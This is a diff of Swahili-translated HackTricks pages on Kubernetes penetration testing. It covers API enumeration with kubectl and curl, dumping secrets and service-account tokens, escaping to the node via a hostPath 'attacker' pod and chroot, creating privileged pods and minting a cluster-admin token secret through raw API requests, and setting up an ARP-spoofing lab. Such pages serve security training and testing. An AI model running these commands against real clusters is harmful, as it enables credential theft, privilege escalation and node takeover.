- **k9s**: GUI ambayo huenumerate kubernetes cluster kutoka terminal. Angalia commands katika[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Andika `:namespace` na chagua all kisha tafuta resources katika namespaces zote.
|
||||
- **k8slens**: Inatoa siku chache za free trial: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumeration CheatSheet
|
||||
|
||||
Ili kufanya enumerate K8s environment unahitaji vitu vichache:
|
||||
Ili kuenumerate mazingira ya K8s unahitaji vitu kadhaa:
|
||||
|
||||
- A **valid authentication token**. Katika section iliyopita tuliona pa kutafuta user token na service account token.
|
||||
- The **address (**_**https://host:port**_**) of the Kubernetes API**. Hii kwa kawaida inaweza kupatikana kwenye environment variables na/au kwenye kube config file.
|
||||
- **Optional**: The **ca.crt to verify the API server**. Hii inaweza kupatikana kwenye sehemu zilezile ambazo token inaweza kupatikana. Hii ni useful ili kuthibitisha API server certificate, lakini ukitumia `--insecure-skip-tls-verify` na `kubectl` au `-k` na `curl` hutahitaji hii.
|
||||
- **valid authentication token**. Katika sehemu iliyotangulia tuliiona mahali pa kutafuta user token na service account token.
|
||||
- **address (**_**https://host:port**_**) of the Kubernetes API**. Hii kawaida hupatikana katika environment variables na/au katika kube config file.
|
||||
- **Optional**: **ca.crt to verify the API server**. Hii inaweza kupatikana kwenye sehemu zilezile ambako token hupatikana. Hii ni useful kuthibitisha API server certificate, lakini ukitumia `--insecure-skip-tls-verify` na `kubectl` au `-k` na `curl` hutahitaji hii.
|
||||
|
||||
Kwa details hizo unaweza **enumerate kubernetes**. Ikiwa **API** kwa sababu fulani iko **accessible** kupitia **Internet**, unaweza tu kupakua information hiyo na enumerate platform kutoka host yako.
|
||||
Kwa details hizo unaweza **enumerate kubernetes**. Ikiwa **API** kwa sababu yoyote ile iko **accessible** kupitia **Internet**, unaweza tu kupakua info hiyo na kuenumerate platform kutoka host yako.
|
||||
|
||||
Hata hivyo, kawaida **API server iko ndani ya internal network**, kwa hiyo utahitaji **ku-create tunnel** kupitia machine iliyo compromised ili kuaccess kutoka machine yako, au unaweza **ku-upload** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, au kutumia **`curl/wget/anything`** kufanya raw HTTP requests kwenda API server.
|
||||
Hata hivyo, kawaida **API server iko ndani ya internal network**, hivyo utahitaji **kuunda tunnel** kupitia machine iliyoharibiwa ili kuipata kutoka kwenye machine yako, au unaweza **kupakia** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, au kutumia **`curl/wget/anything`** kufanya raw HTTP requests kwenda API server.
|
||||
|
||||
### Differences between `list` and `get` verbs
|
||||
|
||||
Kwa **`get`** permissions unaweza kuaccess information ya specific assets (_`describe` option in `kubectl`_) API:
|
||||
Kwa permissions za **`get`** unaweza kufikia information ya assets maalum (_`describe` option in `kubectl`_) API:
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
Ikiwa una ruhusa ya **`list`**, unaruhusiwa kutekeleza maombi ya API ili kuorodhesha aina ya asset (_chaguo la `get` katika `kubectl`_):
|
||||
Ikiwa una ruhusa ya **`list`**, unaruhusiwa kutekeleza API requests za kuorodhesha aina ya asset (_chaguo la `get` katika `kubectl`_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
#In all namespaces
|
||||
GET /apis/apps/v1/deployments
|
||||
```
|
||||
Ikiwa una ruhusa ya **`watch`**, unaruhusiwa kutekeleza maombi ya API ili kufuatilia assets:
|
||||
Ikiwa una ruhusa ya **`watch`**, unaruhusiwa kutekeleza API requests ili kufuatilia assets:
|
||||
```
|
||||
GET /apis/apps/v1/deployments?watch=true
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||||
@@ -91,10 +91,10 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/deployments [DEPRECATED]
|
||||
```
|
||||
They hufungua muunganisho wa streaming unaokurudishia manifest kamili ya Deployment kila inapobadilika (au mpya inapoundwa).
|
||||
Wanafungua muunganisho wa streaming unaokurudishia manifest kamili ya Deployment kila inapobadilika (au inapotengenezwa mpya).
|
||||
|
||||
> [!CAUTION]
|
||||
> Amri zifuatazo za `kubectl` zinaonyesha tu jinsi ya kuorodhesha objects. Iwapo unataka kufikia data unahitaji kutumia `describe` badala ya `get`
|
||||
> Amri zifuatazo za `kubectl` zinaonyesha tu jinsi ya kuorodhesha objects. Ikiwa unataka kufikia data unahitaji kutumia `describe` badala ya `get`
|
||||
|
||||
### Using curl
|
||||
|
||||
@@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||||
# if kurl is still got cert Error, using -k option to solve this.
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kwa chaguo-msingi pod inaweza **kufikia** **kube-api server** katika domain name **`kubernetes.default.svc`** na unaweza kuona kube network katika **`/etc/resolv.config`** kwani hapa utapata address ya kubernetes DNS server (".1" ya range hiyo hiyo ndiyo kube-api endpoint).
|
||||
> Kwa chaguo-msingi pod inaweza **kufikia** **kube-api server** katika jina la domain **`kubernetes.default.svc`** na unaweza kuona kube network katika **`/etc/resolv.config`** kwani hapa utapata anwani ya kubernetes DNS server (".1" ya range hiyo hiyo ni kube-api endpoint).
|
||||
|
||||
### Using kubectl
|
||||
|
||||
Kwa kuwa na token na address ya API server unaweza kutumia kubectl au curl kuifikia kama ilivyoonyeshwa hapa:
|
||||
Kuwa na token na anwani ya API server unaweza kutumia kubectl au curl kuifikia kama ilivyoonyeshwa hapa:
|
||||
|
||||
Kwa chaguo-msingi, APISERVER inawasiliana kwa kutumia schema ya `https://`
|
||||
By default, The APISERVER is communicating with `https://` schema
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> ikiwa hakuna `https://` katika url, unaweza kupata Error kama Bad Request.
|
||||
|
||||
Unaweza kupata [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Lengo la sehemu zifuatazo ni kuonyesha kwa mpangilio options tofauti za enumerate na kuelewa K8s mpya ambayo umefanikiwa kupata access yake.
|
||||
Unaweza kupata [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Lengo la sehemu zifuatazo ni kuwasilisha kwa mpangilio chaguzi tofauti za enumerate na kuelewa K8s mpya ambayo umepata access kwake.
|
||||
|
||||
Ili kupata HTTP request ambayo `kubectl` inatuma unaweza kutumia parameter `-v=8`
|
||||
Ili kupata HTTP request ambayo `kubectl` hutuma unaweza kutumia parameter `-v=8`
|
||||
|
||||
#### MitM kubectl - Proxyfying kubectl
|
||||
```bash
|
||||
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Ukiweza kuiba baadhi ya vitambulisho vya watumiaji unaweza **kuzisanidi kwa ndani** ukitumia kitu kama:
|
||||
Ukiweza kuiba baadhi ya vitambulisho vya watumiaji unaweza **kuvusanidi ndani ya mfumo wa ndani** ukitumia kitu kama:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \
|
||||
```
|
||||
### Pata Resources Zinazotumika
|
||||
|
||||
Kwa taarifa hii utajua huduma zote unazoweza kuorodhesha
|
||||
Kwa taarifa hii utaweza kujua huduma zote unazoweza kuorodhesha
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -174,20 +174,46 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Metadata ya object ya kuangalia
|
||||
### Metadata ya object inayofaa kuangalia
|
||||
|
||||
Unapoweza kusoma object, export YAML au JSON kamili badala ya kutegemea tu output ya table au `describe`. Muktadha muhimu zaidi wa security mara nyingi upo katika generic object fields ambazo zipo katika resource types nyingi tofauti:
|
||||
Unapoweza kusoma object, hamisha YAML au JSON kamili badala ya kutegemea tu output ya table au `describe`. Context ya security yenye manufaa zaidi mara nyingi huwa katika generic object fields zinazopatikana katika resource types nyingi:
|
||||
```bash
|
||||
kubectl get pod <pod> -n <ns> -o yaml
|
||||
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
|
||||
```
|
||||
- `metadata.uid`, `name`, `namespace`, `apiVersion` na `kind` hutambulisha object halisi na kuzuia mkanganyiko kati ya objects zenye jina lile lile katika namespaces tofauti au API groups tofauti.
|
||||
- `metadata.labels` na selectors huunganisha Services, Deployments, ReplicaSets, Pods, NetworkPolicies na automation. Kufuatilia selectors mara nyingi ndiyo njia ya haraka zaidi ya kutambua real backend pods kwa Service.
|
||||
- `metadata.annotations` zinaweza leak muktadha wa uendeshaji kama ingress behavior, cloud load balancer settings, GitOps au Helm metadata, policy exemptions, na service mesh configuration. Hazipaswi kuwa na secrets, lakini real clusters mara nyingi huonyesha vidokezo muhimu humo.
|
||||
- `metadata.ownerReferences` huonyesha controller lineage. Ikiwa Pod inamilikiwa na ReplicaSet inayomilikiwa na Deployment, kubadilisha au kufuta tu Pod kawaida hakurekebishi chanzo.
|
||||
- `metadata.finalizers` na `metadata.deletionTimestamp` hufafanua resources zilizokwama kwenye deletion na zinaweza kufichua cleanup controllers au persistence/disruption tricks.
|
||||
- `status`, Events, na conditions zinaweza kufichua node placement, pod IPs, image IDs, ujumbe wa failure, scheduling issues, admission denials, na controller progress. Ni vidokezo muhimu, lakini audit logs bado zinahitajika kuthibitisha nani alitekeleza action.
|
||||
- `metadata.uid`, `name`, `namespace`, `apiVersion` na `kind` hutambulisha object halisi na huepuka mkanganyiko kati ya objects zenye jina sawa katika namespaces tofauti au API groups tofauti.
|
||||
- `metadata.labels` na selectors huunganisha Services, Deployments, ReplicaSets, Pods, NetworkPolicies na automation. Kufuatilia selectors mara nyingi ndiyo njia ya haraka zaidi ya kutambua real backend pods za Service.
|
||||
- `metadata.annotations` zinaweza kuvuja muktadha wa operations kama ingress behavior, cloud load balancer settings, GitOps au Helm metadata, policy exemptions, na service mesh configuration. Hazipaswi kuwa na secrets, lakini real clusters mara nyingi hufichua vidokezo muhimu humo.
|
||||
- `metadata.ownerReferences` huonyesha controller lineage. Ikiwa Pod inamilikiwa na ReplicaSet inayomilikiwa na Deployment, kubadilisha au kufuta Pod pekee kwa kawaida hakurekebishi source.
|
||||
- `metadata.finalizers` na `metadata.deletionTimestamp` hufafanua resources zilizokwama katika deletion na zinaweza kufichua cleanup controllers au persistence/disruption tricks.
|
||||
- `status`, Events, na conditions zinaweza kufichua node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials, na controller progress. Ni vidokezo muhimu, lakini audit logs bado zinahitajika kuthibitisha ni nani alitekeleza action.
|
||||
|
||||
### Dynamic Resource Allocation and device evidence
|
||||
|
||||
Ikiwa cluster inatumia GPUs, NICs, FPGAs, au specialized hardware nyingine, angalia kama Kubernetes Dynamic Resource Allocation (DRA) ipo. DRA hutumia `resource.k8s.io` objects kama `DeviceClass`, `ResourceSlice`, `ResourceClaim`, na `ResourceClaimTemplate` kuelezea devices zinazopatikana na kuzi-claim kwa Pods. Objects hizi zinaweza kufichua ni nodes zipi zinaweza kufikia valuable hardware, ni driver gani inaisimamia, na workload gani ina allocation.
|
||||
```bash
|
||||
kubectl api-resources --api-group=resource.k8s.io
|
||||
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
|
||||
kubectl get resourceslices.resource.k8s.io 2>/dev/null
|
||||
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
|
||||
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
|
||||
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
|
||||
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
|
||||
```
|
||||
Wakati wa review, zuia writes kwa `DeviceClass` na `ResourceSlice` objects zilizo cluster-scoped kwa admins na DRA drivers, na weka `ResourceClaim` / `ResourceClaimTemplate` rights zikiwa scoped kwa namespaces zinazozihitaji. Ruhusa za driver za kusasisha `ResourceClaim` status zinapaswa kuwa explicit na narrow. Kwenye nodes, kubelet PodResources API mara nyingi hupatikana kupitia `/var/lib/kubelet/pod-resources/kubelet.sock`; monitoring DaemonSets zinaweza mount directory hiyo ili kukagua assigned devices, kwa hiyo review hizo Pods kama vile unavyofanya kwa privileged node agents wengine.
|
||||
|
||||
### ClusterTrustBundle na add-on certificate trust
|
||||
|
||||
Recent clusters zinaweza ku-expose `ClusterTrustBundle` objects katika `certificates.k8s.io` API group. Hizi ni cluster-scoped X.509 trust anchor bundles ambazo Pods zinaweza mount kupitia projected volumes. Broad read access inatarajiwa, lakini write access ni sensitive kwa sababu kubadilisha trusted roots kunaweza kuathiri webhooks, aggregated APIs, service meshes, na applications zinazotumia cluster-distributed CA material.
|
||||
```bash
|
||||
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
|
||||
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
|
||||
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
|
||||
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
|
||||
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
|
||||
```
|
||||
Wakati wa review, rekodi `signerName`, bundle fingerprints, writer identities, projected-volume consumers, na controller yoyote ya trust-distribution kama cert-manager trust-manager. Tibu `APIService` objects zenye `insecureSkipTLSVerify: true`, stale `caBundle` values, au broad permissions za patch APIService/webhook trust fields kama certificate-trust findings badala ya ordinary object inventory.
|
||||
|
||||
### Get Current Privileges
|
||||
|
||||
@@ -220,7 +246,7 @@ Unaweza kujifunza zaidi kuhusu **Kubernetes RBAC** katika:
|
||||
kubernetes-role-based-access-control-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
**Mara tu unapojua ni privileges gani** unazo, angalia ukurasa ufuatao ili kubaini **ikiwa unaweza kuzie abuse** kuongeza privileges:
|
||||
**Ukishajua ni privileges zipi** ulizo nazo, angalia ukurasa ufuatao ili kubaini **kama unaweza kuzitumia vibaya** ku-escalate privileges:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -246,7 +272,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
|
||||
|
||||
### Pata namespaces
|
||||
|
||||
Kubernetes inasaidia **multiple virtual clusters** zinazoendeshwa na cluster moja ya kimwili. Virtual clusters hizi zinaitwa **namespaces**.
|
||||
Kubernetes inaunga mkono **multiple virtual clusters** zinazoendeshwa na **same physical cluster**. Hizi virtual clusters zinaitwa **namespaces**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -259,7 +285,10 @@ k get namespaces
|
||||
```bash
|
||||
kurl -k -v https://$APISERVER/api/v1/namespaces/
|
||||
```
|
||||
### Pata siri
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Pata secrets
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -278,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Kama unaweza kusoma secrets unaweza kutumia mistari ifuatayo kupata privileges zinazohusiana na kila token:
|
||||
Kama unaweza kusoma siri, unaweza kutumia mistari ifuatayo kupata privileges zinazohusiana na kila token:
|
||||
```bash
|
||||
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
|
||||
```
|
||||
### Pata Service Accounts
|
||||
|
||||
Kama ilivyojadiliwa mwanzoni mwa ukurasa huu **wakati pod inapokuwa inaendeshwa, service account kawaida hupewa**. Kwa hiyo, kuorodhesha service accounts, ruhusa zao na zinakoendeshwa kunaweza kumruhusu mtumiaji kuongeza privileges.
|
||||
Kama ilivyojadiliwa mwanzoni mwa ukurasa huu **wakati pod inaendeshwa, service account kwa kawaida hupewa**. Kwa hiyo, kuorodhesha service accounts, ruhusa zao na zinapoendeshwa kunaweza kumruhusu mtumiaji kuongeza privileges.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -302,7 +331,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||||
|
||||
### Pata Deployments
|
||||
|
||||
Deployments hubainisha hali inayotakiwa kwa stateless application workloads. Huunda ReplicaSets, na hizo ReplicaSets huunda Pods.
|
||||
Deployments hubainisha hali inayotakiwa kwa stateless application workloads. Huunda ReplicaSets, na ReplicaSets hizo huunda Pods.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -321,7 +350,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
|
||||
|
||||
### Pata StatefulSets
|
||||
|
||||
StatefulSets hudhibiti Pods zinazohitaji majina thabiti, tabia ya rollout iliyo na mpangilio, na mara nyingi persistent volumes kwa kila replica.
|
||||
StatefulSets husimamia Pods zinazohitaji majina thabiti, tabia ya rollout iliyopangwa kwa mpangilio, na mara nyingi persistent volumes kwa kila replica.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -340,7 +369,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
|
||||
|
||||
### Pata Pods
|
||||
|
||||
Pods ni **containers** halisi ambazo zitakuwa **zinaendeshwa**.
|
||||
Pods ni **containers** halisi ambazo **zitakazokimbia**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -359,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
|
||||
### Pata Services
|
||||
|
||||
Kubernetes **services** hutumiwa kwa **kufichua service katika port na IP mahususi** (ambayo itafanya kazi kama load balancer kwa pods ambazo kwa kweli zinatoa service hiyo). Hii ni muhimu kujua ni wapi unaweza kupata services nyingine za kujaribu kushambulia.
|
||||
Kubernetes **services** hutumiwa **kufichua service katika port na IP maalum** (ambayo itafanya kazi kama load balancer kwa pods ambazo kwa kweli zinatoa service hiyo). Hili ni muhimu kujua ili uone wapi unaweza kupata services nyingine za kujaribu kushambulia.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -394,9 +423,9 @@ kurl -v https://$APISERVER/api/v1/nodes/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Pataza DaemonSets
|
||||
### Pata DaemonSets
|
||||
|
||||
**DaemonSets** huhakikisha kwamba **specific Pod inaendeshwa kwenye all selected nodes** za cluster. Ukifuta DaemonSet, Pods zinazodhibitiwa nayo pia zitaondolewa.
|
||||
**DaemonSets** huhakikisha kwamba **Pod mahususi inaendeshwa kwenye node zote zilizochaguliwa** za cluster. Ukifuta DaemonSet, Pods zinazosimamiwa nayo pia zitaondolewa.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -414,7 +443,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
|
||||
|
||||
### Pata Jobs
|
||||
|
||||
Jobs huunda Pods zinazokimbia hadi zikamilike. Mara nyingi hutumiwa kwa migrations, backups, batch work, na one-off administrative tasks.
|
||||
Jobs huunda Pods ambazo huendelea hadi zikamilike. Mara nyingi hutumika kwa migrations, backups, batch work, na one-off administrative tasks.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -452,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
|
||||
|
||||
### Pata configMap
|
||||
|
||||
configMap daima ina taarifa nyingi na configfile ambazo hutolewa kwa apps zinazoendeshwa katika kubernetes. Kawaida unaweza kupata password nyingi, secrets, tokens ambazo hutumika kuunganisha na kuthibitisha kwa huduma nyingine za ndani/nje.
|
||||
configMap daima ina taarifa nyingi na configfile ambazo hutolewa kwa apps zinazofanya kazi ndani ya kubernetes. Kawaida unaweza kupata password nyingi, secrets, tokens ambazo hutumiwa kuunganisha na kuthibitisha kwa huduma nyingine za ndani/nje.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -490,7 +519,7 @@ k get all
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### **Pata rasilimali zote zinazosimamiwa na helm**
|
||||
### **Pata resources zote zinazosimamiwa na helm**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -512,21 +541,21 @@ k top pod --all-namespaces
|
||||
|
||||
## Kuingiliana na cluster bila kutumia kubectl
|
||||
|
||||
Kwa kuwa Kubernetes control plane inafichua REST-ful API, unaweza kuunda kwa mikono HTTP requests na kuzituma kwa zana nyingine, kama vile **curl** au **wget**.
|
||||
Kwa kuwa Kubernetes control plane inafichua REST-ful API, unaweza kuunda kwa mikono HTTP requests na kuzituma kwa zana nyingine, kama **curl** au **wget**.
|
||||
|
||||
### Kutoka kwenye pod
|
||||
### Kutoroka kutoka kwenye pod
|
||||
|
||||
Ikiwa unaweza kuunda pods mpya unaweza pia kuweza kutoka ndani yake hadi node. Ili kufanya hivyo unahitaji kuunda pod mpya kwa kutumia faili ya yaml, kubadilisha kwenda kwenye pod iliyoundwa kisha chroot kwenda kwenye mfumo wa node. Unaweza kutumia pods zilizopo kama reference ya faili ya yaml kwa kuwa zinaonyesha images na pathes zilizopo.
|
||||
Ikiwa unaweza kuunda pods mpya unaweza kuwa na uwezo wa kutoroka kutoka kwake kwenda kwenye node. Ili kufanya hivyo unahitaji kuunda pod mpya kwa kutumia faili ya yaml, badilisha kwenda kwenye pod iliyoundwa na kisha chroot ndani ya system ya node. Unaweza kutumia pods zilizopo kama reference kwa faili ya yaml kwa sababu zinaonyesha images na pathes zilizopo.
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
> ikiwa unahitaji create pod kwenye specific node, unaweza kutumia command ifuatayo kupata labels kwenye node
|
||||
> ikiwa unahitaji kuunda pod kwenye node maalum, unaweza kutumia amri ifuatayo kupata labels kwenye node
|
||||
>
|
||||
> `k get nodes --show-labels`
|
||||
>
|
||||
> Commonly, kubernetes.io/hostname na node-role.kubernetes.io/master ni labels nzuri za select.
|
||||
> Kwa kawaida, kubernetes.io/hostname na node-role.kubernetes.io/master ni labels nzuri za kuchagua.
|
||||
|
||||
Kisha unaunda file yako ya attack.yaml
|
||||
Kisha unda faili yako ya attack.yaml
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -558,21 +587,21 @@ restartPolicy: Never
|
||||
```
|
||||
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
|
||||
|
||||
Baada ya hapo unaunda pod
|
||||
Kisha unaunda pod
|
||||
```bash
|
||||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||||
```
|
||||
Sasa unaweza kubadili kwenda kwenye pod iliyoundwa kama ifuatavyo
|
||||
Sasa unaweza kubadilisha kwenda kwenye pod iliyoundwa kama ifuatavyo
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
Na mwisho, unafanya chroot kwenye system ya node
|
||||
Na mwisho, unafanya chroot ndani ya mfumo wa node
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
### Kuunda privileged pod
|
||||
### Creating a privileged pod
|
||||
|
||||
The corresponding yaml file is as follows:
|
||||
```yaml
|
||||
@@ -602,7 +631,7 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
Unda pod kwa kutumia curl:
|
||||
Create the pod with curl:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -637,7 +666,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
|
||||
```
|
||||
### Unda Service Account
|
||||
### Tengeneza Service Account
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -760,7 +789,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Futa a Secret
|
||||
### Futa Secret
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
|
||||
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
## Utangulizi
|
||||
|
||||
Katika Kubernetes, inaonekana kwamba tabia ya default inaruhusu uanzishaji wa connections kati ya **containers zote zilizo kwenye node moja**. Hii hutumika bila kujali tofauti za namespace. Uunganisho huu hufika hadi **Layer 2** (Ethernet). Kwa hivyo, configuration hii inaweza kufichua system kwa vulnerabilities. Kwa usahihi, inafungua uwezekano kwa **malicious container** kutekeleza **ARP spoofing attack** dhidi ya containers nyingine zilizo kwenye node moja. Wakati wa attack kama hiyo, malicious container inaweza kwa udanganyifu ku-intercept au kurekebisha network traffic iliyokusudiwa containers nyingine.
|
||||
Katika Kubernetes, imeonekana kuwa tabia ya default huruhusu uanzishaji wa connections kati ya **all containers zilizo kwenye node ileile**. Hii hutumika bila kujali tofauti za namespace. Uunganisho huu unaenea hadi **Layer 2** (Ethernet). Kwa hiyo, configuration hii inaweza kufichua system kwa vulnerabilities. Kwa usahihi, inafungua uwezekano kwa **malicious container** kutekeleza **ARP spoofing attack** dhidi ya containers nyingine zilizo kwenye node ileile. Wakati wa shambulio kama hilo, malicious container inaweza kwa udanganyifu kuingilia au kubadilisha network traffic iliyokusudiwa kwa containers nyingine.
|
||||
|
||||
ARP spoofing attacks zinahusisha **attacker kutuma falsified ARP** (Address Resolution Protocol) messages kupitia local area network. Hii husababisha kuunganishwa kwa **MAC address ya attacker na IP address ya computer au server halali kwenye network**. Baada ya attack kama hiyo kufanikiwa, attacker anaweza ku-intercept, kurekebisha, au hata kusimamisha data inayopita. Attack hii hutekelezwa kwenye Layer 2 ya OSI model, ndiyo maana default connectivity katika Kubernetes kwenye layer hii inaleta concerns za security.
|
||||
ARP spoofing attacks huhusisha **attacker kutuma falsified ARP** (Address Resolution Protocol) messages kupitia local area network. Hii husababisha kuunganishwa kwa **MAC address ya attacker na IP address ya computer au server halali kwenye network**. Baada ya kutekelezwa kwa mafanikio kwa attack kama hiyo, attacker anaweza kuingilia, kubadilisha, au hata kusimamisha data in-transit. Attack hii hutekelezwa kwenye Layer 2 ya OSI model, ndiyo sababu default connectivity katika Kubernetes kwenye layer hii huibua wasiwasi wa usalama.
|
||||
|
||||
Katika scenario hii, mashine 4 zitaanzishwa:
|
||||
Katika scenario hii mashine 4 zitaundwa:
|
||||
|
||||
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
|
||||
- **ubuntu-attack**: **Malicious** container katika default namespace
|
||||
- **ubuntu-victim**: **Victim** machine katika kube-system namespace
|
||||
- **mysql**: **Victim** machine katika default namespace
|
||||
- **ubuntu-attack**: **Malicious** container in default namespace
|
||||
- **ubuntu-victim**: **Victim** machine in kube-system namespace
|
||||
- **mysql**: **Victim** machine in default namespace
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
|
||||
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||||
